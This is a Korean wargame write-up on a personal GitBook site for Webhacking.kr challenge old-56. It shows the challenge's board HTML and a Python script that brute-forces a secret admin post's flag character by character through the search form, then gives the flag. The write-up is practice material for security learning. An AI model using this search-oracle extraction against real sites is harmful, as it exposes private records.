📂
이동현 Donghyun Lee
  • Welcome!
  • Wargame
    • Webhacking.kr
      • old-01 (200)
      • old-02 (500)
      • old-03 (350)
      • old-04 (300)
      • old-05 (300)
      • old-06 (100)
      • old-07 (300)
      • old-08 (350)
      • old-09 (900)
      • old-10 (250)
      • old-11 (300)
      • old-12 (250)
      • old-13 (1000)
      • old-14 (100)
      • old-15 (50)
      • old-16 (100)
      • old-17 (100)
      • old-18 (100)
      • old-19 (150)
      • old-20 (200)
      • old-21 (250)
      • old-22 (500)
      • old-23 (200)
      • old-24 (100)
      • old-25 (150)
      • old-26 (100)
      • old-27 (150)
      • old-28 (500)
      • old-29 (400)
      • old-30 (350) : UNSOLVED
      • old-31 (150)
      • old-32 (150)
      • old-33 (200)
      • old-34 (400)
      • old-35 (350)
      • old-36 (200)
      • old-38 (100)
      • old-39 (100)
      • old-40 (500)
      • old-41 (250)
      • old-42 (200)
      • old-43 (250)
      • old-44 (500)
      • old-45 (550)
      • old-46 (300)
      • old-47 (150)
      • old-48 (350)
      • old-49 (300)
      • old-50 (450)
      • old-51 (250)
      • old-52 (400)
      • old-53 (350)
      • old-54 (100)
      • old-55 (400)
      • old-56 (250)
      • old-57 (600)
      • old-58 (150)
      • old-59 (200)
      • old-60 (300)
      • old-61 (200)
    • Lord of SQLInjection
      • gremlin
      • cobolt
      • goblin
      • orc
      • wolfman
      • darkelf
      • orge
      • troll
      • vampire
      • skeleton
      • golem
      • darkknight
      • bugbear
      • giant
      • assassin
      • succubus
      • zombie_assassin
      • nightmare
      • xavis
      • dragon
      • iron_golem
      • dark_eyes
      • hell_fire
      • evil_wizard
      • green_dragon
      • red_dragon
      • blue_dragon
      • frankenstein
      • phantom
      • ouroboros
      • zombie
      • alien
      • cthulhu
      • death
      • godzilla
      • cyclops
      • chupacabra
      • manticore
      • banshee
      • poltergeist
      • nessie
      • revenant
      • yeti
      • mummy
      • kraken
      • cerberus
      • siren
      • incubus
    • Pwnable.kr
      • Toddler's Bottle
        • fd - 1 pt
        • collision - 3 pt
        • bof - 5 pt
        • flag - 7 pt
        • passcode - 10 pt
  • CTF
    • AlexCTF 2017
      • [Crypto] CR3: What is this encryption?
      • [Crypto] CR4: Poor RSA
    • BSides San Francisco CTF 2017
      • [Crypto] []root
  • project
    • How to Find Container Platform Escape Bug
      • Docker
        • Install Docker
        • Run Container
        • Docker Basic Commands
        • Docker Compose
        • Build Docker Image
        • Docker Hub
        • Private Docker Registry
      • Kubernetes
        • Introduction to Kubernetes
        • Kubernetes Practice
      • PoC
  • Donghyun's Lifelog
Powered by GitBook

Last updated 4 years ago

첫 화면이다.

readme 를 클릭하면 아래와 같이 나타난다.

hi~를 클릭하면 아래와 같이 나타난다.

폼에 hello~를 넣고 제출하면 아래와 같이 guest만 결과로 나온다.

폼에 FLAG{를 넣고 제출하면 아래와 같이 admin만 결과로 나온다.

각 게시물의 내용을 검색하는 것으로 유추하였다.

페이지 소스는 아래와 같다.

페이지 소스를 참고해 파이썬 코드를 짜면 아래와 같다.

실행 결과, 플래그는 FLAG{himiko_toga_is_cute_dont_you_think_so?}이다.

Auth 창에 플래그를 넣고 제출하면 문제가 풀린다.

<html>
<head>
<title>Challenge 56</title>
</head>
<body>
<center>
<h2>B O A R D</h2>
<br><br>
<table border=1>
<tr><td>no</td><td>id</td><td>subject</td><td>secret</td></tr>
<tr><td>1</td><td>admin</td><td><a href=?read=admin>readme</a></td><td>1</td></tr>
<tr><td>2</td><td>guest</td><td><a href=?read=guest>hi~</a></td><td>0</td></tr>
</table>
<form method=post>search : <input name=search size=50 maxlength=50><input type=submit></form></body>
</html>
import requests
import string

URL = 'https://webhacking.kr/challenge/web-33/'
TRUE_PHRASE = '<td>admin</td>'


def query(payload):
    data = {'search': payload}
    r = requests.post(URL, data=data)
    content = r.text
    return TRUE_PHRASE in content


# FLAG{himiko_toga_is_cute_dont_you_think_so?}
def find_flag():
    flag = 'FLAG{'
    while query(flag + '}') is False:
        for character in string.printable:
            if character == '%':
                continue
            elif query('{}{}'.format(flag, character)) is True:
                flag += character
                break
    flag += '}'
    print('flag: {}'.format(flag))


find_flag()
On this page

Was this helpful?

  1. Wargame
  2. Webhacking.kr

old-56 (250)

Previousold-55 (400)Nextold-57 (600)